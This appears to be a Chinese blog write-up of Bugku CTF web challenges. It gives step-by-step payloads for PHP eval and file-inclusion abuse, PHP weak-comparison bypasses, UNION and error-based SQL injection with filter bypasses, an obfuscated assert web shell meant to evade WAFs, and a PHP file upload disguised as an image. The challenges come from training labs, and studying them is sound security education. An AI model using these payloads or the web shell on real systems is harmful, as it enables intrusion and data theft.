前言
很久以前基本就做完了bugku
平臺上的web
題目,最近整理整理一下。
正文
web2
提示:聽說聰明的人都能找到答案
鏈接
flag在源代碼中。
計算器
發現輸入框中只能輸入一位數字,但是正確的答案有兩位,所以只能通過f12
修改前端代碼maxlength
的值或者通過抓包發送正確的值得到flag。
get基礎
進入題目之後出現代碼
提示,按要求get
方式傳入what=flag
即可得到flag
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
post基礎
和上題類似,通過post
方式傳入對應的參數即可。推薦使用firefox瀏覽器的hackbar
插件。
矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
通過代碼的第一個if
要求$num
不可以爲數字,第二個if
要求$num
的值爲1,由於php
是弱類型語言。1e
等類似的的字符串爲經過==
判斷爲1
。
payload:http://123.206.87.240:8002/get/index1.php?num=1e
web3
tips: flag就在這裏快來找找吧
重要的信息在源代碼中的最後幾行。
域名解析
tips: 聽說把 flag.bugku.com 解析到123.206.87.240 就能拿到flag
修改hosts
文件即可。比如linux
系統中所在的地址是/etc/hosts
。
你必須讓他停下
使用burp site
多抓幾次包即可。
本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
這個題目有三種解法
- eval 可以執行命令
所以構造hello參數使得裏面的括號閉合
hello=1);show_source(%27flag.php%27);var_dump(2
- 使用eval配合php僞協議
- 直接讀到hello變量中
?hello=get_file_contents(‘flag.php’)
?hello=file(‘flag.php’)
變量1
//flag In the variable !
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
首先進入題目之後,發現一段代碼和一個提示flag In the variable !
。
分析代碼發現正則表達式只允許$args
的值中出現大小寫字母和數字,所以不能構造上一題中的文件包含。然後只能使用php中的超全局變量$GLOBALS
(數組,保存所有的全局變量)。
payload:?args=GLOBALS
web5
tips : JSPFUCK???答案格式CTF{**}
字母大寫
鏈接
查看網頁源代碼發現存在很多的規則字符串,有經驗的發現這是JSFUCK編碼,沒有經驗的題目也提示了。複製全部的編碼字符串使用chrome
瀏覽器的調試器即可反編碼。
頭等艙
進入題目之後發現提示什麼也沒有
,但是發現這段話的上面有很多 的空行。
查看源代碼之後發現有很多的<br>
換行。這是錯誤的思路。
使用burp site
抓返回來的包
flag在http響應頭中,和題目頭等艙
對應。
網站被黑
tips : 這個題沒技術含量但是實戰中經常遇到
鏈接
進入題目之後沒有發現什麼有用的信息,根據題目網站被黑
,想到網站可能存在webshell
,
使用burp site
爆破shell密碼即可。
密碼字典推薦使用top10000
.
管理員系統
tips : flag格式flag{}
鏈接
嘗試登錄時發現這樣的提示
嘗試來源IP僞造爲127.0.0.1
,推薦使用firefox的modify headers
插件。
再一次嘗試登陸,發現報錯信息變成Invalid credentials! Please try again!
然後弱口令爆破,密碼應該是test123
,用戶名admin
。
web4
tips : 看看源代碼
鏈接
兩處提示都是查看源代碼,恩,我們看看源代碼。
簡單分析之後發現Escape解碼之後可以得到一般形式的js代碼。在線解碼網址
在輸入框之中輸入67d709b2b54aa2aa648cf6e87a7114f1
即可得到flag。
flag在index裏
進入題目出現一個a鏈接
,點擊之後進入另一界面。
發現url中的參數可能可以構造任意文件讀取或者任意文件上傳的。這裏需要用到的知識是php僞協議
,具體詳情可以百度。
payload: file=php://filter/read=convert.base64-encode/resource=index.php
然後base64解碼即可得到index.php
的源代碼,flag就在代碼中。
輸入密碼查看flag
根據提示,構造從00000
到99999
的密碼爆破即可。
點擊一百萬次
tips : java script
鏈接
在這個題目中你可以選擇點擊一百萬次,或者認真的分析一下java script
代碼.
查看源代碼
發現點擊次數通過js傳輸一個叫做clicks
的參數,通過判斷clicks
> 一百萬即可得到flag,所以我們構造一個post參數使得他的值大於一百萬即可。
備份是個好習慣
tips: 聽說備份是一個好習慣
鏈接
一般在linux中常見的備份文件的格式有
.bak
.swp
.swo
.zip
.tar
.rar
等等
根據題目的提示發現可能存在備份文件,測試發現存在index.php.bak
,訪問payload因爲服務器不能解析後綴爲 .bak
的文件,所以會直接把index.php.bak
文件下載下來。
接着是分析下載下來的index.php
的代碼
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);//得到get方式的參數
$str = str_replace('key','',$str);//替換參數中的key爲空,可以雙寫繞過
parse_str($str);//字符串解析到變量中
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
由於php中的==
判斷時,0e111111
=0e333423423
=0
,所有使用md5的值爲0e
開頭的字符串繞過最後的if
payload : http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=s155964671a
成績單
tips : 快來查查成績吧
鏈接
非常簡單的sq注入題目。
首先判斷後端返回的列數,此處爲4
然後判斷後端返回的格式
查看數據庫名稱和用戶名
id=-1' union select 1,user(),database(),4 #
爆表
id=-1' union select 1,2,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database())#
爆列
id=-1' union select 1,2,database(),(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')#
獲取flag
id=-1' union select 1,2,database(),(select skctf_flag from fl4g)#
這個題目還可以使用sqlamp
直接跑出flag。
秋名山老司機
是不是老司機試試就知道。
鏈接
這個題目中,下面需要計算的式子大概兩秒鐘更換一次,所以只能通過python
腳本計算,並且把正確的答案通過post
方式傳到服務器。
#這裏直接使用別人寫的腳本,我以前寫的找不到了
import requests
import re
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
ans=re.findall('<div>(.*?)=?;</div>',requestpage.text)#獲取表達式,我正則寫的好像有點問題,多匹配了最後的=?兩個字符
ans="".join(ans)#列表轉爲字符串
ans=ans[:-2]#去掉最後的=?
post=eval(ans)#計算表達式的值
data={'value':post}#構造post的data部分
flag=r.post(url,data=data)
print(flag.text)
運行之後有一定的機率可以獲取到flag。
速度要快
tips : 速度要快
鏈接
查看網頁源代碼發現提示
按照網頁源代碼中的要求傳入margin
參數之後出現一個新的字符串。
在響應頭中發現flag,base64解碼之後提交不對,發現這個頭部中的flag的值會變。
然後直接上腳本。
import requests
import base64
url = 'http://120.24.86.145:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":")+2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content
cookies欺騙
tips : 答案格式:KEY{xxxxxxxx}
鏈接
直接打開鏈接之後出現
url中的filename
值base64解碼之後得到keys.txt
然後把filename
的值替換成index.php
的base64編碼值aW5kZXgucGhw
但是沒有返回任何內容,後面發現line
的值就是代表第幾行的意思,所以
讀第一行的的payload爲:
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
讀第二行的payload爲:
http://123.206.87.240:8002/web11/index.php?line=2&filename=aW5kZXgucGhw
這樣很麻煩,所以還是使用腳本來跑吧
#!/usr/bin/env python3
#-*-coding:utf-8-*-
#power by jedi
import requests
for i in range(1, 20):
payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw"%i
try:
response = requests.get(payload, timeout=2)
print(response.content)
except:
pass
跑出的index.php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?
通過源代碼的分析發現只要構造一對cookie,margin
=margin
即可訪問keys.php
,使用同樣的方法可以得出flag
#!/usr/bin/env python3
#-*-coding:utf-8-*-
#power by jedi
import requests
import base64
flag_file = "keys.php"
flag_file_base64 = base64.b64encode(flag_file)
cookies = {"margin":"margin"}
for i in range(20):
payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=%s"%(i, flag_file_base64)
try:
response = requests.get(payload, timeout=2, cookies = cookies)
print(response.content)
except:
pass
never give up
查看網頁源代碼發現一個tip
訪問1p.html
先整體UnEscape
解密,接着base64
解碼,然後再unEscape
可以得到下面的代碼
";if(!$_GET['id']){
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
require("f4l2a3g.txt");
}
else{
print "never never never give up !!!";
}
?>
然後直接訪問f4l2a3g.txt
即可得到flag
welcome to bugkuctf
查看源代碼發現這段代碼
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
審計源代碼發現這幾點要求
get傳遞三個參數,其中的password沒有使用到
存在一個參數user的文件內容===welcome to the bugkuctf
$file = hint.txt
配合使用php://input
和php://filter
讀取文件,其中password可以沒有。
hint.php文件
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
index.php文件
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
從index文件中可以得到不能直接得去flag.php,並且發現參數password的作用,PHP 7 增加了可以爲 unserialize() 提供過濾的特性,可以防止非法數據進行代碼注入,提供了更安全的反序列化數據。其作用即爲讓你用字符串方式傳遞一個類
。看到unserialize()這段代碼及hint.php類有個 __toString()構造函數,可以構造password的序列化。然後反序列讀出flag.php文件
通過下面的腳本可以使得類變序列化。
<?php
class Flag{//flag.php
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
把輸出的值作爲password的值,flag被註釋,在源代碼中。
過狗一句話
tips : 送給大家一個過狗一句話
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc); // 把字符串打散爲數組
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; // poc_2 = assert
$poc_2($_GET['s'])// assert($_GET['s']) assert可以執行任意代碼
?>
payload : http://123.206.87.240:8010/?s=print_r(scandir('./'))
發現一個名字爲f14g.php
的文件直接訪問裏面就是flag
字符?正則?
tips : 字符?正則?
鏈接
打開鏈接之後就是一大串的代碼
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
這是一個正則表達式的題目,首先需要分析一下正則
- /key 代表必須以key開頭
- . 代表可以匹配任意的字符
-
*匹配前面字符0到多次
- {n, m}前面的字符重複n到m次
- \後面的字符被轉義
- [a-z]在a-z中匹配
- [[:punct:]] 匹配熱河的標點符號
- /i對大小寫不敏感
到此可以構造參數獲取flag
最後的payload之一:http://123.206.87.240:8002/web10/?id=keyakeyaaaakey:/a/keya!
前女友(SKCTF)
flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}
鏈接
在這個鏈接中的真的有一個鏈接
點擊code.txt中發現這段代碼
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
php中的md5函數和sha1函數以及strcmp函數處理數組會返回null。所以可以這樣構造參數:?v1[]=a&v2[]=b&v3[]=c
login1(SKCTF)
tips: flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL約束攻擊
鏈接
首先解釋什麼是sql約束攻擊
在SQL中執行字符串處理時,字符串末尾的空格符將會被刪除。換句話說“vampire”等同於“vampire ”,對於絕大多數情況來說都是成立的(諸如WHERE子句中的字符串或INSERT語句中的字符串)例如以下語句的查詢結果,與使用用戶名“vampire”進行查詢時的結果是一樣的。
SELECT * FROM users WHERE username='vampire ';
但也存在異常情況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操作,主要是在“字符串比較”期間進行的。這是因爲,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。
在所有的INSERT查詢中,SQL都會根據varchar(n)來限制字符串的最大長度。也就是說,如果字符串的長度大於“n”個字符的話,那麼僅使用字符串的前“n”個字符。比如特定列的長度約束爲“5”個字符,那麼在插入字符串“vampire”時,實際上只能插入字符串的前5個字符,即“vampi”。
所以註冊時註冊的用戶名爲admin+很多個空格
,密碼隨便只要符合要求。
之後登錄這個註冊的用戶即可。
你從哪裏來
Http協議頭中的Referer主要用來讓服務器判斷來源頁面
所以可以使用referer
來僞造來源網頁。在請求頭中添加這個即可。
md5 collision(NUPT_CTF)
按照要求構造參數a
,任意給a賦值,返回false
給a賦值爲s155964671a的時候正確返回flag。猜測後端md5比對的值應該是0e
開頭的。
程序員本地網站
tips: 請從本地訪問
鏈接
然後構造僞造來源ip。
各種繞過
tips : 各種繞過喲
鏈接
訪問之後出現以下的代碼
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
由於php中的sha1函數處理數組返回null
,所以最終的payload如下
web8
tips : txt????
鏈接
訪問之後出現如下的代碼
<?php
extract($_GET); // extract 從數組中解析爲變量
if (!empty($ac)){
$f = trim(file_get_contents($fn));// trim 移除字符串兩側的空白字符或其他預定義字符
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}else{
echo "<p>sorry!</p>";
}
}
?>
根據提示猜測存在flag.txt
文件,訪問,發現flag.txt
的內容爲flags
根據php代碼構造payload
多次
tips : 本題有2個flag
flag均爲小寫
flag格式 flag{}
鏈接
這一題目主要學習到了異或注入
,平臺入口顯示這一題應該還是我們學校的題目。還是我太年輕了。
id到變大之後會提示這是sql注入
,嘗試了各種注入,都沒有辦法,最後發現這是異或注入
。
簡單的收集一下信息
這個題目的閉合方式是單引號閉合,並且報錯返回結果只有Error,Error,Error!
。在URL
的最後加上註釋--+
發現沒有報錯,所以確定這是SQL注入
。然後判斷sql注入的類型
http://123.206.87.240:9004/1ndex.php
?id=2’ or 1=1–+
http://123.206.87.240:9004/1ndex.php
?id=2’ oorr 1=1–+
發現or
和and
等關鍵字被過濾,但是可以雙寫繞過。那麼其他被過濾的字符怎麼來判斷呢?需要用到一個叫做sql異或注入
的東西。和異或差不多,異或注入就是兩個條件相同(同真或同假)即爲假。
http://123.206.87.240:9004/1ndex.php
?id=2’^(length(“union”)!=0)–+
界面返回正常,所以說明length("select")==0
,也就是說select
關鍵字被過濾。
同樣的簡單的測試一下被過濾的關鍵字有:
or
and
select
union
恩,知道這些就已經夠了
被過濾的可以雙寫繞過。所以後臺處理的應該是使用string的replace方法將關鍵字置空。
- 爆表:
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
- 爆字段
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
- 爆數據
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1,flag1 from flag1--+
發現注入出來的是這個字符串usOwycTju+FTUUzXosjr
,但是提交不正確,所以嘗試爆address
字段的數據。得到這個地址
又是一個注入,和題目多次
相對應。
在id=1
之後加一個'
直接把mysql
的報錯信息直接打印出來,並且還直接把我們構造的id直接打印出來。看着應該很容易的樣子。
使用異或注入的方法也可以發現下面的關鍵字被過濾
union substr sleep
雙寫無法繞過,大小寫無法繞過,/!/無法繞過。
所以嘗試使用updatexml
報錯
- 爆表
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('_',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'_'),1) --+
XPATH syntax error: ',flag2_'
- 爆字段
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag2'),'~'),1) --+
XPATH syntax error: '~flag2,address~'
- 爆內容
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),1) --+
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
文件包含2
tips : flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含
鏈接
訪問鏈接之後,會自動轉跳至這個鏈接http://123.206.31.85:49166/index.php?file=hello.php
,url中出現一個flag=xxx
,猜測是文件包含,但是嘗試使用php僞協議
或者../
想讀出flag的時候,但是應該存在waf
,所以出現
這時候在源代碼中發現這樣的註釋代碼
嘗試訪問upload.php
上傳圖片木馬
發現不能解析爲php,所以在這裏嘗試使用zip://
,恩,還是失敗。
最後發現,將以下的代碼保存到code.jpg
中上傳
<script language=php>system("ls")</script>
如果直接訪問的話會發現
使用文件包含即可讀取文件,其中名字最長的那個就是flag文件了。